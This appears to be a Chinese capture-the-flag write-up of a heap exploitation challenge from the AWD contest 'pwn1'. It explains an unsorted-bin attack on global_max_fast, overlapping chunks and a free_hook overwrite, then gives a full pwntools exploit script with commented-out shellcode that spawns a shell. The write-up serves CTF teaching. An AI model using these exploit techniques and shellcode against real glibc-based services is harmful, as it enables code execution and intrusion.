PWN January 03, 2020

星盟AWD的pwn题

Words count 16k Reading time 14 mins. Read count 0

一、题目

pwn1:

64位保护全开,ida分析一波:

57243772332

会发现常规菜单题,然后有3个函数,一个个看吧:

malloc:

57243776342

这里可以看到最多7个堆块,而且堆块大小限定在0x90到0x2333,当堆块量等于7时,貌似有UAF的free,但是其实没有什么用,因为bss上并不会存储chunk的地址,所以正常的malloc,同时可以打印地址,这里直接打印出了堆地址和libc地址

57243786812

简单的free函数,正常没有漏洞

edit:

57243789984

这是漏洞点所在,会发现这里有个任意地址写,8字节的数字,0xcafebabe,因为是没有fastbin的环境下的攻击,所以这个任意地址写这个大数字,想到unsorted bin的attack,直接edit,改global max fast即可,有了fastbin,下一步肯定是改fd指针,这里有2个问题要想清楚,首先free没有UAF,所以要构造overlap的chunk,保证能改到fd指针,同时怎么实现overlap又是一个问题,这里利用的是写入这个地址时,会有0字符填充,因为是任意地址写,所以可以想到,修改chunk中的堆地址的末尾为0,从而使得free一个chunk里面的fake_chunk,这样再次申请即可得到fake_chunk,fake_chunk足够大,就可以下溢修改FD指针,然后就可以攻击了。

好了,第三个问题,fd指针写什么呢。free_hook-0x43位置处伪造一个fake_chunk的头,0xca(任意地址写实现),

然后申请的是0xb8大小即可。

整理出来就是下面的:

1、泄露出libc地址,攻击global_max_fast

2、修改堆末尾地址free掉fake_chunk再申请得到能够下溢

3、伪造fake_chunk在free_hook-0x43处

4、下溢修改fd为fake_chunk

5、free一个binsh的堆块

下面是完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('55fca716.gamectf.com',37009)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
onegadget64 = [0x45216 , 0x4526a , 0xf02a4 , 0xf1147]
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ,{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))

def malloc(size,content):
ru("4.exit")
sl('1')
ru("Length:")
sl(str(size))
ru("Content:")
sd(content)
def free(idx):
ru("4.exit")
sl('2')
ru("Id:")
sl(str(idx))
def edit(content):
ru("4.exit")
sl('3')
ru("Name:")
sd(content)

malloc(0x100,'aaaaaaaa')#0
# debug(0xB73)
malloc(0x91,'aaaaaaaa')#1
malloc(0x100,'aaaaaaaa')#2
malloc(0x100,'aaaaaaaa')#3
free(0)
free(2)
# debug(0)
malloc(0x100,'bbbbbbbb')
ru('bbbbbbbb')
heap = u64(rc(6).ljust(8,'\x00'))-0x1b0
malloc(0x100,'bbbbbbbb')
ru('bbbbbbbb')
# debug(0)
libc_base = u64(rc(6).ljust(8,'\x00'))-0x3c4b78
print "heap--->" + hex(heap)
print "libc_base--->" + hex(libc_base)
onegadget = libc_base + onegadget64[2]
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym["__free_hook"]
fake_chunk = free_hook-0x48
system = libc_base + libc.sym["system"]
ru("4.exit")
sl('666')
base_addr = int(ru("chunk")[:-5],16)-0x202040
print "base_addr-->" + hex(base_addr)
free(3)
free(2)
free(1)
free(0)

py = ''
py += 'a'*0xe0
py += p64(0) + p64(0x1c1)
malloc(0x120,py)
malloc(0xb8,'2222')
malloc(0xb8,'3333')
malloc(0xb8,'/bin/sh\x00')
# free(0)
edit('a'*0x20+p64(base_addr+0x202041))
edit('a'*0x20+p64(libc_base+0x3c67f8))
edit('a'*0x20+p64(free_hook-0x43))
free(2)
free(1)
py = ''
py += 'a'*0xf0
py += p64(0) + p64(0xc1)
py += p64(fake_chunk)
malloc(0x1b0,py)
malloc(0xb8,'6666')
py = ''
py += '\x00'*0x38 + p64(system)
malloc(0xb8,py)
free(3)
p.interactive()
0%